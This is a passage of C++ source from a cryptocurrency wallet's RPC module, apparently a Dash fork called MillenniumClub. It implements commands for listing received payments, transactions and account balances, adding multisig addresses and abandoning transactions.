JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, "Account has insufficient funds"); // Send CReserveKey keyChange(pwalletMain); CAmount nFeeRequired = 0; int nChangePosRet = -1; std::string strFailReason; bool fUseInstantSend = false; bool fUsePrivateSend = false; if (request.params.size() > 6) fUseInstantSend = request.params[6].get_bool(); if (request.params.size() > 7) fUsePrivateSend = request.params[7].get_bool(); bool fCreated = pwalletMain->CreateTransaction(vecSend, wtx, keyChange, nFeeRequired, nChangePosRet, strFailReason, NULL, true, fUsePrivateSend ? ONLY_DENOMINATED : ALL_COINS, fUseInstantSend); if (!fCreated) throw JSONRPCError(RPC_WALLET_INSUFFICIENT_FUNDS, strFailReason); CValidationState state; if (!pwalletMain->CommitTransaction(wtx, keyChange, g_connman.get(), state, fUseInstantSend ? NetMsgType::TXLOCKREQUEST : NetMsgType::TX)) { strFailReason = strprintf("Transaction commit failed:: %s", state.GetRejectReason()); throw JSONRPCError(RPC_WALLET_ERROR, strFailReason); } return wtx.GetHash().GetHex(); } // Defined in rpc/misc.cpp extern CScript _createmultisig_redeemScript(const UniValue& params); UniValue addmultisigaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 2 || request.params.size() > 3) { std::string msg = "addmultisigaddress nrequired [\"key\",...] ( \"account\" )\n" "\nAdd a nrequired-to-sign multisignature address to the wallet.\n" "Each key is a MillenniumClub address or hex-encoded public key.\n" "If 'account' is specified (DEPRECATED), assign address to that account.\n" "\nArguments:\n" "1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.\n" "2. \"keys\" (string, required) A json array of millenniumclub addresses or hex-encoded public keys\n" " [\n" " \"address\" (string) millenniumclub address or hex-encoded public key\n" " ...,\n" " ]\n" "3. \"account\" (string, optional) DEPRECATED. An account to assign the addresses to.\n" "\nResult:\n" "\"address\" (string) A millenniumclub address associated with the keys.\n" "\nExamples:\n" "\nAdd a multisig address from 2 addresses\n" + HelpExampleCli("addmultisigaddress", "2 \"[\\\"Xt4qk9uKvQYAonVGSZNXqxeDmtjaEWgfrS\\\",\\\"XoSoWQkpgLpppPoyyzbUFh1fq2RBvW6UK2\\\"]\"") + "\nAs json rpc call\n" + HelpExampleRpc("addmultisigaddress", "2, \"[\\\"Xt4qk9uKvQYAonVGSZNXqxeDmtjaEWgfrS\\\",\\\"XoSoWQkpgLpppPoyyzbUFh1fq2RBvW6UK2\\\"]\"") ; throw std::runtime_error(msg); } LOCK2(cs_main, pwalletMain->cs_wallet); std::string strAccount; if (request.params.size() > 2) strAccount = AccountFromValue(request.params[2]); // Construct using pay-to-script-hash: CScript inner = _createmultisig_redeemScript(request.params); CScriptID innerID(inner); pwalletMain->AddCScript(inner); pwalletMain->SetAddressBook(innerID, strAccount, "send"); return CBitcoinAddress(innerID).ToString(); } struct tallyitem { CAmount nAmount; int nConf; std::vector<uint256> txids; bool fIsWatchonly; tallyitem() { nAmount = 0; nConf = std::numeric_limits<int>::max(); fIsWatchonly = false; } }; UniValue ListReceived(const UniValue& params, bool fByAccounts) { // Minimum confirmations int nMinDepth = 1; if (params.size() > 0) nMinDepth = params[0].get_int(); bool fAddLockConf = (params.size() > 1 && params[1].get_bool()); // Whether to include empty accounts bool fIncludeEmpty = false; if (params.size() > 2) fIncludeEmpty = params[2].get_bool(); isminefilter filter = ISMINE_SPENDABLE; if(params.size() > 3) if(params[3].get_bool()) filter = filter | ISMINE_WATCH_ONLY; // Tally std::map<CBitcoinAddress, tallyitem> mapTally; for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; if (wtx.IsCoinBase() || !CheckFinalTx(*wtx.tx)) continue; int nDepth = wtx.GetDepthInMainChain(fAddLockConf); if (nDepth < nMinDepth) continue; BOOST_FOREACH(const CTxOut& txout, wtx.tx->vout) { CTxDestination address; if (!ExtractDestination(txout.scriptPubKey, address)) continue; isminefilter mine = IsMine(*pwalletMain, address); if(!(mine & filter)) continue; tallyitem& item = mapTally[address]; item.nAmount += txout.nValue; item.nConf = std::min(item.nConf, nDepth); item.txids.push_back(wtx.GetHash()); if (mine & ISMINE_WATCH_ONLY) item.fIsWatchonly = true; } } // Reply UniValue ret(UniValue::VARR); std::map<std::string, tallyitem> mapAccountTally; BOOST_FOREACH(const PAIRTYPE(CBitcoinAddress, CAddressBookData)& item, pwalletMain->mapAddressBook) { const CBitcoinAddress& address = item.first; const std::string& strAccount = item.second.name; std::map<CBitcoinAddress, tallyitem>::iterator it = mapTally.find(address); if (it == mapTally.end() && !fIncludeEmpty) continue; isminefilter mine = IsMine(*pwalletMain, address.Get()); if(!(mine & filter)) continue; CAmount nAmount = 0; int nConf = std::numeric_limits<int>::max(); bool fIsWatchonly = false; if (it != mapTally.end()) { nAmount = (*it).second.nAmount; nConf = (*it).second.nConf; fIsWatchonly = (*it).second.fIsWatchonly; } if (fByAccounts) { tallyitem& _item = mapAccountTally[strAccount]; _item.nAmount += nAmount; _item.nConf = std::min(_item.nConf, nConf); _item.fIsWatchonly = fIsWatchonly; } else { UniValue obj(UniValue::VOBJ); if(fIsWatchonly) obj.push_back(Pair("involvesWatchonly", true)); obj.push_back(Pair("address", address.ToString())); obj.push_back(Pair("account", strAccount)); obj.push_back(Pair("amount", ValueFromAmount(nAmount))); obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf))); if (!fByAccounts) obj.push_back(Pair("label", strAccount)); UniValue transactions(UniValue::VARR); if (it != mapTally.end()) { BOOST_FOREACH(const uint256& _item, (*it).second.txids) { transactions.push_back(_item.GetHex()); } } obj.push_back(Pair("txids", transactions)); ret.push_back(obj); } } if (fByAccounts) { for (std::map<std::string, tallyitem>::iterator it = mapAccountTally.begin(); it != mapAccountTally.end(); ++it) { CAmount nAmount = (*it).second.nAmount; int nConf = (*it).second.nConf; UniValue obj(UniValue::VOBJ); if((*it).second.fIsWatchonly) obj.push_back(Pair("involvesWatchonly", true)); obj.push_back(Pair("account", (*it).first)); obj.push_back(Pair("amount", ValueFromAmount(nAmount))); obj.push_back(Pair("confirmations", (nConf == std::numeric_limits<int>::max() ? 0 : nConf))); ret.push_back(obj); } } return ret; } UniValue listreceivedbyaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 4) throw std::runtime_error( "listreceivedbyaddress ( minconf addlockconf include_empty include_watchonly)\n" "\nList incoming payments grouped by receiving address.\n" "\nArguments:\n" "1. minconf (numeric, optional, default=1) The minimum number of confirmations before payments are included.\n" "2. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "3. include_empty (bool, optional, default=false) Whether to include addresses that haven't received any payments.\n" "4. include_watchonly (bool, optional, default=false) Whether to include watch-only addresses (see 'importaddress').\n" "\nResult:\n" "[\n" " {\n" " \"involvesWatchonly\" : true, (bool) Only returned if imported addresses were involved in transaction\n" " \"address\" : \"receivingaddress\", (string) The receiving address\n" " \"account\" : \"accountname\", (string) DEPRECATED. The account of the receiving address. The default account is \"\".\n" " \"amount\" : x.xxx, (numeric) The total amount in " + CURRENCY_UNIT + " received by the address\n" " \"confirmations\" : n (numeric) The number of confirmations of the most recent transaction included.\n" " If 'addlockconf' is true, the minimum number of confirmations is calculated\n" " including additional " + std::to_string(nInstantSendDepth) + " confirmations for transactions locked via InstantSend\n" " \"label\" : \"label\", (string) A comment for the address/transaction, if any\n" " \"txids\": [\n" " n, (numeric) The ids of transactions received with the address \n" " ...\n" " ]\n" " }\n" " ,...\n" "]\n" "\nExamples:\n" + HelpExampleCli("listreceivedbyaddress", "") + HelpExampleCli("listreceivedbyaddress", "6 false true") + HelpExampleRpc("listreceivedbyaddress", "6, false, true, true") ); LOCK2(cs_main, pwalletMain->cs_wallet); return ListReceived(request.params, false); } UniValue listreceivedbyaccount(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 4) throw std::runtime_error( "listreceivedbyaccount ( minconf addlockconf include_empty include_watchonly)\n" "\nDEPRECATED. List incoming payments grouped by account.\n" "\nArguments:\n" "1. minconf (numeric, optional, default=1) The minimum number of confirmations before payments are included.\n" "2. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "3. include_empty (bool, optional, default=false) Whether to include accounts that haven't received any payments.\n" "4. include_watchonly (bool, optional, default=false) Whether to include watch-only addresses (see 'importaddress').\n" "\nResult:\n" "[\n" " {\n" " \"involvesWatchonly\" : true, (bool) Only returned if imported addresses were involved in transaction\n" " \"account\" : \"accountname\", (string) The account name of the receiving account\n" " \"amount\" : x.xxx, (numeric) The total amount received by addresses with this account\n" " \"confirmations\" : n (numeric) The number of blockchain confirmations of the most recent transaction included\n" " \"label\" : \"label\" (string) A comment for the address/transaction, if any\n" " }\n" " ,...\n" "]\n" "\nExamples:\n" + HelpExampleCli("listreceivedbyaccount", "") + HelpExampleCli("listreceivedbyaccount", "6 false true") + HelpExampleRpc("listreceivedbyaccount", "6, false, true, true") ); LOCK2(cs_main, pwalletMain->cs_wallet); return ListReceived(request.params, true); } static void MaybePushAddress(UniValue & entry, const CTxDestination &dest) { CBitcoinAddress addr; if (addr.Set(dest)) entry.push_back(Pair("address", addr.ToString())); } void ListTransactions(const CWalletTx& wtx, const std::string& strAccount, int nMinDepth, bool fLong, UniValue& ret, const isminefilter& filter) { CAmount nFee; std::string strSentAccount; std::list<COutputEntry> listReceived; std::list<COutputEntry> listSent; wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount, filter); bool fAllAccounts = (strAccount == std::string("*")); bool involvesWatchonly = wtx.IsFromMe(ISMINE_WATCH_ONLY); // Sent if ((!listSent.empty() || nFee != 0) && (fAllAccounts || strAccount == strSentAccount)) { BOOST_FOREACH(const COutputEntry& s, listSent) { UniValue entry(UniValue::VOBJ); if(involvesWatchonly || (::IsMine(*pwalletMain, s.destination) & ISMINE_WATCH_ONLY)) entry.push_back(Pair("involvesWatchonly", true)); entry.push_back(Pair("account", strSentAccount)); MaybePushAddress(entry, s.destination); std::map<std::string, std::string>::const_iterator it = wtx.mapValue.find("DS"); entry.push_back(Pair("category", (it != wtx.mapValue.end() && it->second == "1") ? "privatesend" : "send")); entry.push_back(Pair("amount", ValueFromAmount(-s.amount))); if (pwalletMain->mapAddressBook.count(s.destination)) entry.push_back(Pair("label", pwalletMain->mapAddressBook[s.destination].name)); entry.push_back(Pair("vout", s.vout)); entry.push_back(Pair("fee", ValueFromAmount(-nFee))); if (fLong) WalletTxToJSON(wtx, entry); entry.push_back(Pair("abandoned", wtx.isAbandoned())); ret.push_back(entry); } } // Received if (listReceived.size() > 0 && wtx.GetDepthInMainChain() >= nMinDepth) { BOOST_FOREACH(const COutputEntry& r, listReceived) { std::string account; if (pwalletMain->mapAddressBook.count(r.destination)) account = pwalletMain->mapAddressBook[r.destination].name; if (fAllAccounts || (account == strAccount)) { UniValue entry(UniValue::VOBJ); if(involvesWatchonly || (::IsMine(*pwalletMain, r.destination) & ISMINE_WATCH_ONLY)) entry.push_back(Pair("involvesWatchonly", true)); entry.push_back(Pair("account", account)); MaybePushAddress(entry, r.destination); if (wtx.IsCoinBase()) { if (wtx.GetDepthInMainChain() < 1) entry.push_back(Pair("category", "orphan")); else if (wtx.GetBlocksToMaturity() > 0) entry.push_back(Pair("category", "immature")); else entry.push_back(Pair("category", "generate")); } else { entry.push_back(Pair("category", "receive")); } entry.push_back(Pair("amount", ValueFromAmount(r.amount))); if (pwalletMain->mapAddressBook.count(r.destination)) entry.push_back(Pair("label", account)); entry.push_back(Pair("vout", r.vout)); if (fLong) WalletTxToJSON(wtx, entry); ret.push_back(entry); } } } } void AcentryToJSON(const CAccountingEntry& acentry, const std::string& strAccount, UniValue& ret) { bool fAllAccounts = (strAccount == std::string("*")); if (fAllAccounts || acentry.strAccount == strAccount) { UniValue entry(UniValue::VOBJ); entry.push_back(Pair("account", acentry.strAccount)); entry.push_back(Pair("category", "move")); entry.push_back(Pair("time", acentry.nTime)); entry.push_back(Pair("amount", ValueFromAmount(acentry.nCreditDebit))); entry.push_back(Pair("otheraccount", acentry.strOtherAccount)); entry.push_back(Pair("comment", acentry.strComment)); ret.push_back(entry); } } UniValue listtransactions(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 4) throw std::runtime_error( "listtransactions ( \"account\" count skip include_watchonly)\n" "\nReturns up to 'count' most recent transactions skipping the first 'from' transactions for account 'account'.\n" "\nArguments:\n" "1. \"account\" (string, optional) DEPRECATED. The account name. Should be \"*\".\n" "2. count (numeric, optional, default=10) The number of transactions to return\n" "3. skip (numeric, optional, default=0) The number of transactions to skip\n" "4. include_watchonly (bool, optional, default=false) Include transactions to watch-only addresses (see 'importaddress')\n" "\nResult:\n" "[\n" " {\n" " \"account\":\"accountname\", (string) DEPRECATED. The account name associated with the transaction. \n" " It will be \"\" for the default account.\n" " \"address\":\"address\", (string) The millenniumclub address of the transaction. Not present for \n" " move transactions (category = move).\n" " \"category\":\"send|receive|move\", (string) The transaction category. 'move' is a local (off blockchain)\n" " transaction between accounts, and not associated with an address,\n" " transaction id or block. 'send' and 'receive' transactions are \n" " associated with an address, transaction id and block details\n" " \"amount\": x.xxx, (numeric) The amount in " + CURRENCY_UNIT + ". This is negative for the 'send' category, and for the\n" " 'move' category for moves outbound. It is positive for the 'receive' category,\n" " and for the 'move' category for inbound funds.\n" " \"label\": \"label\", (string) A comment for the address/transaction, if any\n" " \"vout\": n, (numeric) the vout value\n" " \"fee\": x.xxx, (numeric) The amount of the fee in " + CURRENCY_UNIT + ". This is negative and only available for the \n" " 'send' category of transactions.\n" " \"instantlock\" : true|false, (bool) Current transaction lock state. Available for 'send' and 'receive' category of transactions.\n" " \"confirmations\": n, (numeric) The number of blockchain confirmations for the transaction. Available for 'send' and \n" " 'receive' category of transactions. Negative confirmations indicate the\n" " transation conflicts with the block chain\n" " \"trusted\": xxx, (bool) Whether we consider the outputs of this unconfirmed transaction safe to spend.\n" " \"blockhash\": \"hashvalue\", (string) The block hash containing the transaction. Available for 'send' and 'receive'\n" " category of transactions.\n" " \"blockindex\": n, (numeric) The index of the transaction in the block that includes it. Available for 'send' and 'receive'\n" " category of transactions.\n" " \"blocktime\": xxx, (numeric) The block time in seconds since epoch (1 Jan 1970 GMT).\n" " \"txid\": \"transactionid\", (string) The transaction id. Available for 'send' and 'receive' category of transactions.\n" " \"time\": xxx, (numeric) The transaction time in seconds since epoch (midnight Jan 1 1970 GMT).\n" " \"timereceived\": xxx, (numeric) The time received in seconds since epoch (midnight Jan 1 1970 GMT). Available \n" " for 'send' and 'receive' category of transactions.\n" " \"comment\": \"...\", (string) If a comment is associated with the transaction.\n" " \"otheraccount\": \"accountname\", (string) DEPRECATED. For the 'move' category of transactions, the account the funds came \n" " from (for receiving funds, positive amounts), or went to (for sending funds,\n" " negative amounts).\n" " \"bip125-replaceable\": \"yes|no|unknown\", (string) Whether this transaction could be replaced due to BIP125 (replace-by-fee);\n" " may be unknown for unconfirmed transactions not in the mempool\n" " \"abandoned\": xxx (bool) 'true' if the transaction has been abandoned (inputs are respendable). Only available for the \n" " 'send' category of transactions.\n" " }\n" "]\n" "\nExamples:\n" "\nList the most recent 10 transactions in the systems\n" + HelpExampleCli("listtransactions", "") + "\nList transactions 100 to 120\n" + HelpExampleCli("listtransactions", "\"*\" 20 100") + "\nAs a json rpc call\n" + HelpExampleRpc("listtransactions", "\"*\", 20, 100") ); LOCK2(cs_main, pwalletMain->cs_wallet); std::string strAccount = "*"; if (request.params.size() > 0) strAccount = request.params[0].get_str(); int nCount = 10; if (request.params.size() > 1) nCount = request.params[1].get_int(); int nFrom = 0; if (request.params.size() > 2) nFrom = request.params[2].get_int(); isminefilter filter = ISMINE_SPENDABLE; if(request.params.size() > 3) if(request.params[3].get_bool()) filter = filter | ISMINE_WATCH_ONLY; if (nCount < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative count"); if (nFrom < 0) throw JSONRPCError(RPC_INVALID_PARAMETER, "Negative from"); UniValue ret(UniValue::VARR); const CWallet::TxItems & txOrdered = pwalletMain->wtxOrdered; // iterate backwards until we have nCount items to return: for (CWallet::TxItems::const_reverse_iterator it = txOrdered.rbegin(); it != txOrdered.rend(); ++it) { CWalletTx *const pwtx = (*it).second.first; if (pwtx != 0) ListTransactions(*pwtx, strAccount, 0, true, ret, filter); CAccountingEntry *const pacentry = (*it).second.second; if (pacentry != 0) AcentryToJSON(*pacentry, strAccount, ret); if ((int)ret.size() >= (nCount+nFrom)) break; } // ret is newest to oldest if (nFrom > (int)ret.size()) nFrom = ret.size(); if ((nFrom + nCount) > (int)ret.size()) nCount = ret.size() - nFrom; std::vector<UniValue> arrTmp = ret.getValues(); std::vector<UniValue>::iterator first = arrTmp.begin(); std::advance(first, nFrom); std::vector<UniValue>::iterator last = arrTmp.begin(); std::advance(last, nFrom+nCount); if (last != arrTmp.end()) arrTmp.erase(last, arrTmp.end()); if (first != arrTmp.begin()) arrTmp.erase(arrTmp.begin(), first); std::reverse(arrTmp.begin(), arrTmp.end()); // Return oldest to newest ret.clear(); ret.setArray(); ret.push_backV(arrTmp); return ret; } UniValue listaccounts(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 3) throw std::runtime_error( "listaccounts ( minconf addlockconf include_watchonly)\n" "\nDEPRECATED. Returns Object that has account names as keys, account balances as values.\n" "\nArguments:\n" "1. minconf (numeric, optional, default=1) Only include transactions with at least this many confirmations\n" "2. addlockconf (bool, optional, default=false) Whether to add " + std::to_string(nInstantSendDepth) + " confirmations to transactions locked via InstantSend.\n" "3. include_watchonly (bool, optional, default=false) Include balances in watch-only addresses (see 'importaddress')\n" "\nResult:\n" "{ (json object where keys are account names, and values are numeric balances\n" " \"account\": x.xxx, (numeric) The property name is the account name, and the value is the total balance for the account.\n" " ...\n" "}\n" "\nExamples:\n" "\nList account balances where there at least 1 confirmation\n" + HelpExampleCli("listaccounts", "") + "\nList account balances including zero confirmation transactions\n" + HelpExampleCli("listaccounts", "0") + "\nList account balances for 6 or more confirmations\n" + HelpExampleCli("listaccounts", "6") + "\nAs json rpc call\n" + HelpExampleRpc("listaccounts", "6") ); LOCK2(cs_main, pwalletMain->cs_wallet); int nMinDepth = 1; if (request.params.size() > 0) nMinDepth = request.params[0].get_int(); bool fAddLockConf = (request.params.size() > 1 && request.params[1].get_bool()); isminefilter includeWatchonly = ISMINE_SPENDABLE; if(request.params.size() > 2) if(request.params[2].get_bool()) includeWatchonly = includeWatchonly | ISMINE_WATCH_ONLY; std::map<std::string, CAmount> mapAccountBalances; BOOST_FOREACH(const PAIRTYPE(CTxDestination, CAddressBookData)& entry, pwalletMain->mapAddressBook) { if (IsMine(*pwalletMain, entry.first) & includeWatchonly) // This address belongs to me mapAccountBalances[entry.second.name] = 0; } for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); ++it) { const CWalletTx& wtx = (*it).second; CAmount nFee; std::string strSentAccount; std::list<COutputEntry> listReceived; std::list<COutputEntry> listSent; int nDepth = wtx.GetDepthInMainChain(fAddLockConf); if (wtx.GetBlocksToMaturity() > 0 || nDepth < 0) continue; wtx.GetAmounts(listReceived, listSent, nFee, strSentAccount, includeWatchonly); mapAccountBalances[strSentAccount] -= nFee; BOOST_FOREACH(const COutputEntry& s, listSent) mapAccountBalances[strSentAccount] -= s.amount; if (nDepth >= nMinDepth) { BOOST_FOREACH(const COutputEntry& r, listReceived) if (pwalletMain->mapAddressBook.count(r.destination)) mapAccountBalances[pwalletMain->mapAddressBook[r.destination].name] += r.amount; else mapAccountBalances[""] += r.amount; } } const std::list<CAccountingEntry> & acentries = pwalletMain->laccentries; BOOST_FOREACH(const CAccountingEntry& entry, acentries) mapAccountBalances[entry.strAccount] += entry.nCreditDebit; UniValue ret(UniValue::VOBJ); BOOST_FOREACH(const PAIRTYPE(std::string, CAmount)& accountBalance, mapAccountBalances) { ret.push_back(Pair(accountBalance.first, ValueFromAmount(accountBalance.second))); } return ret; } UniValue listsinceblock(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp) throw std::runtime_error( "listsinceblock ( \"blockhash\" target_confirmations include_watchonly)\n" "\nGet all transactions in blocks since block [blockhash], or all transactions if omitted\n" "\nArguments:\n" "1. \"blockhash\" (string, optional) The block hash to list transactions since\n" "2. target_confirmations: (numeric, optional) The confirmations required, must be 1 or more\n" "3. include_watchonly: (bool, optional, default=false) Include transactions to watch-only addresses (see 'importaddress')" "\nResult:\n" "{\n" " \"transactions\": [\n" " \"account\":\"accountname\", (string) DEPRECATED. The account name associated with the transaction. Will be \"\" for the default account.\n" " \"address\":\"address\", (string) The millenniumclub address of the transaction. Not present for move transactions (category = move).\n" " \"category\":\"send|receive\", (string) The transaction category. 'send' has negative amounts, 'receive' has positive amounts.\n" " \"amount\": x.xxx, (numeric) The amount in " + CURRENCY_UNIT + ". This is negative for the 'send' category, and for the 'move' category for moves \n" " outbound. It is positive for the 'receive' category, and for the 'move' category for inbound funds.\n" " \"vout\" : n, (numeric) the vout value\n" " \"fee\": x.xxx, (numeric) The amount of the fee in " + CURRENCY_UNIT + ". This is negative and only available for the 'send' category of transactions.\n" " \"instantlock\" : true|false, (bool) Current transaction lock state. Available for 'send' and 'receive' category of transactions.\n" " \"confirmations\" : n, (numeric) The number of blockchain confirmations for the transaction. Available for 'send' and 'receive' category of transactions.\n" " When it's < 0, it means the transaction conflicted that many blocks ago.\n" " \"blockhash\": \"hashvalue\", (string) The block hash containing the transaction. Available for 'send' and 'receive' category of transactions.\n" " \"blockindex\": n, (numeric) The index of the transaction in the block that includes it. Available for 'send' and 'receive' category of transactions.\n" " \"blocktime\": xxx, (numeric) The block time in seconds since epoch (1 Jan 1970 GMT).\n" " \"txid\": \"transactionid\", (string) The transaction id. Available for 'send' and 'receive' category of transactions.\n" " \"time\": xxx, (numeric) The transaction time in seconds since epoch (Jan 1 1970 GMT).\n" " \"timereceived\": xxx, (numeric) The time received in seconds since epoch (Jan 1 1970 GMT). Available for 'send' and 'receive' category of transactions.\n" " \"bip125-replaceable\": \"yes|no|unknown\", (string) Whether this transaction could be replaced due to BIP125 (replace-by-fee);\n" " may be unknown for unconfirmed transactions not in the mempool\n" " \"abandoned\": xxx, (bool) 'true' if the transaction has been abandoned (inputs are respendable). Only available for the 'send' category of transactions.\n" " \"comment\": \"...\", (string) If a comment is associated with the transaction.\n" " \"label\" : \"label\" (string) A comment for the address/transaction, if any\n" " \"to\": \"...\", (string) If a comment to is associated with the transaction.\n" " ],\n" " \"lastblock\": \"lastblockhash\" (string) The hash of the last block\n" "}\n" "\nExamples:\n" + HelpExampleCli("listsinceblock", "") + HelpExampleCli("listsinceblock", "\"000000000000000bacf66f7497b7dc45ef753ee9a7d38571037cdb1a57f663ad\" 6") + HelpExampleRpc("listsinceblock", "\"000000000000000bacf66f7497b7dc45ef753ee9a7d38571037cdb1a57f663ad\", 6") ); LOCK2(cs_main, pwalletMain->cs_wallet); const CBlockIndex *pindex = NULL; int target_confirms = 1; isminefilter filter = ISMINE_SPENDABLE; if (request.params.size() > 0) { uint256 blockId; blockId.SetHex(request.params[0].get_str()); BlockMap::iterator it = mapBlockIndex.find(blockId); if (it != mapBlockIndex.end()) { pindex = it->second; if (chainActive[pindex->nHeight] != pindex) { // the block being asked for is a part of a deactivated chain; // we don't want to depend on its perceived height in the block // chain, we want to instead use the last common ancestor pindex = chainActive.FindFork(pindex); } } else throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid blockhash"); } if (request.params.size() > 1) { target_confirms = request.params[1].get_int(); if (target_confirms < 1) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter"); } if (request.params.size() > 2 && request.params[2].get_bool()) { filter = filter | ISMINE_WATCH_ONLY; } int depth = pindex ? (1 + chainActive.Height() - pindex->nHeight) : -1; UniValue transactions(UniValue::VARR); for (std::map<uint256, CWalletTx>::iterator it = pwalletMain->mapWallet.begin(); it != pwalletMain->mapWallet.end(); it++) { CWalletTx tx = (*it).second; if (depth == -1 || tx.GetDepthInMainChain(false) < depth) ListTransactions(tx, "*", 0, true, transactions, filter); } CBlockIndex *pblockLast = chainActive[chainActive.Height() + 1 - target_confirms]; uint256 lastblock = pblockLast ? pblockLast->GetBlockHash() : uint256(); UniValue ret(UniValue::VOBJ); ret.push_back(Pair("transactions", transactions)); ret.push_back(Pair("lastblock", lastblock.GetHex())); return ret; } UniValue gettransaction(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 2) throw std::runtime_error( "gettransaction \"txid\" ( include_watchonly )\n" "\nGet detailed information about in-wallet transaction <txid>\n" "\nArguments:\n" "1. \"txid\" (string, required) The transaction id\n" "2. \"include_watchonly\" (bool, optional, default=false) Whether to include watch-only addresses in balance calculation and details[]\n" "\nResult:\n" "{\n" " \"amount\" : x.xxx, (numeric) The transaction amount in " + CURRENCY_UNIT + "\n" " \"fee\": x.xxx, (numeric) The amount of the fee in " + CURRENCY_UNIT + ". This is negative and only available for the \n" " 'send' category of transactions.\n" " \"instantlock\" : true|false, (bool) Current transaction lock state\n" " \"confirmations\" : n, (numeric) The number of blockchain confirmations\n" " \"blockhash\" : \"hash\", (string) The block hash\n" " \"blockindex\" : xx, (numeric) The index of the transaction in the block that includes it\n" " \"blocktime\" : ttt, (numeric) The time in seconds since epoch (1 Jan 1970 GMT)\n" " \"txid\" : \"transactionid\", (string) The transaction id.\n" " \"time\" : ttt, (numeric) The transaction time in seconds since epoch (1 Jan 1970 GMT)\n" " \"timereceived\" : ttt, (numeric) The time received in seconds since epoch (1 Jan 1970 GMT)\n" " \"bip125-replaceable\": \"yes|no|unknown\", (string) Whether this transaction could be replaced due to BIP125 (replace-by-fee);\n" " may be unknown for unconfirmed transactions not in the mempool\n" " \"details\" : [\n" " {\n" " \"account\" : \"accountname\", (string) DEPRECATED. The account name involved in the transaction, can be \"\" for the default account.\n" " \"address\" : \"address\", (string) The millenniumclub address involved in the transaction\n" " \"category\" : \"send|receive\", (string) The category, either 'send' or 'receive'\n" " \"amount\" : x.xxx, (numeric) The amount in " + CURRENCY_UNIT + "\n" " \"label\" : \"label\", (string) A comment for the address/transaction, if any\n" " \"vout\" : n, (numeric) the vout value\n" " \"fee\": x.xxx, (numeric) The amount of the fee in " + CURRENCY_UNIT + ". This is negative and only available for the \n" " 'send' category of transactions.\n" " \"abandoned\": xxx (bool) 'true' if the transaction has been abandoned (inputs are respendable). Only available for the \n" " 'send' category of transactions.\n" " }\n" " ,...\n" " ],\n" " \"hex\" : \"data\" (string) Raw data for transaction\n" "}\n" "\nExamples:\n" + HelpExampleCli("gettransaction", "\"1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d\"") + HelpExampleCli("gettransaction", "\"1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d\" true") + HelpExampleRpc("gettransaction", "\"1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); uint256 hash; hash.SetHex(request.params[0].get_str()); isminefilter filter = ISMINE_SPENDABLE; if(request.params.size() > 1) if(request.params[1].get_bool()) filter = filter | ISMINE_WATCH_ONLY; UniValue entry(UniValue::VOBJ); if (!pwalletMain->mapWallet.count(hash)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid or non-wallet transaction id"); const CWalletTx& wtx = pwalletMain->mapWallet[hash]; CAmount nCredit = wtx.GetCredit(filter); CAmount nDebit = wtx.GetDebit(filter); CAmount nNet = nCredit - nDebit; CAmount nFee = (wtx.IsFromMe(filter) ? wtx.tx->GetValueOut() - nDebit : 0); entry.push_back(Pair("amount", ValueFromAmount(nNet - nFee))); if (wtx.IsFromMe(filter)) entry.push_back(Pair("fee", ValueFromAmount(nFee))); WalletTxToJSON(wtx, entry); UniValue details(UniValue::VARR); ListTransactions(wtx, "*", 0, false, details, filter); entry.push_back(Pair("details", details)); std::string strHex = EncodeHexTx(static_cast<CTransaction>(wtx)); entry.push_back(Pair("hex", strHex)); return entry; } UniValue abandontransaction(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "abandontransaction \"txid\"\n" "\nMark in-wallet transaction <txid> as abandoned\n" "This will mark this transaction and all its in-wallet descendants as abandoned which will allow\n" "for their inputs to be respent. It can be used to replace \"stuck\" or evicted transactions.\n" "It only works on transactions which are not included in a block and are not currently in the mempool.\n" "It has no effect on transactions which are already conflicted or abandoned.\n" "\nArguments:\n" "1. \"txid\" (string, required) The transaction id\n" "\nResult:\n" "\nExamples:\n" + HelpExampleCli("abandontransaction", "\"1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d\"") + HelpExampleRpc("abandontransaction", "\"1075db55d416d3ca199f55b6084e2115b9345e16c5cf302fc80e9d5fbf5d48d\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); uint256 hash; hash.SetHex(request.params[0].get_str()); if (!pwalletMain->mapWallet.count(hash)) throw 